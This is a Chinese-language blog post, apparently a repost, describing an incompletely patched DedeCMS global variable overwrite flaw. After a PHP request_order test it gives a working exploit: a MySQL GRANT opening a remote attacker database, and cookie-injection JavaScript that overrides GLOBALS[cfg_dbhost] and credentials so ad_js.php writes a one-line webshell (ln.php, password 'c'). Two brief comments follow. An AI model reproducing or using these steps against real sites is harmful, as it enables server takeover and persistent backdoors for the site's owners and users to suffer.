DEDE全局变量再次覆盖研究

from:http://lanu.sinaapp.com 这个是大牛研究的博文:http://www.0x50sec.org/dedecms%e ... %e5%88%86%e6%9e%90/,大牛就是大牛厉害啊!这位大牛说了关于dedecms变量覆盖漏洞补丁没有补全。造成了漏洞的二次利用。看完了此文,但是关于里面的$_REQUEST为什么没有读取$_COOKIE值俺有点小异议,和文章中有的代码不是很全有缺失,而且有些符号也有点小问题! 我认为是因为php版本问题而不是什么apache和iis的问题,因为在php 5.3以后php.ini中默认request_order="GP" 俺们用事实说话: [php]<?php var_dump($_REQUEST); echo "—————REQUEST END————<br>"; var_dump($_COOKIE); echo "—————COOKIE END————<br>"; ?> [/php]当我的request_order="GPC"的时候, 访问http://127.0.0.1/test/requesttest.php?hacker=11, 再访问: [php]javascript:document.cookie="test"; [/php]返回
array(2) { ["hacker"]=> string(2) "11" ["fuck_you"]=> string(0) "" } —————REQUEST END———— array(1) { ["fuck_you"]=> string(0) "" } —————COOKIE END————
如果我request_order="GP" 返回则是:
array(1) { ["hacker"]=> string(2) "11" } —————REQUEST END———— array(1) { ["fuck_you"]=> string(0) "" } —————COOKIE END————-----------------
所以俺得出结论:若果dedecms装在php > 5.3的服务器中,可以利用变量再次覆盖! 于是乎我就下载了最新版本的dedecms做测试: 开外链设置数据库,你懂得!
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
数据库见附件,我已经设置好的! dede_myad 然后访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1 再用javascript设置:
javascript:document.cookie="GLOBALS[cfg_dbhost]=10.60.133.60";document.cookie="GLOBALS[cfg_dbuser]=root";document.cookie="GLOBALS[cfg_dbpwd]=123456";document.cookie="GLOBALS[cfg_dbname]=test";document.cookie="GLOBALS[cfg_dbprefix]=dede_";
  再次访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1 生成的一句话:http://127.0.0.1/dede/plus/ln.php 密码c 俺最新版本dedecms测试成功

2 条评论

  1. test

    附件地址不在

  2. DEDE全局变量再次覆盖研究 | 黑客之家

    [...] 俺们用事实说话: ? [...]

发表评论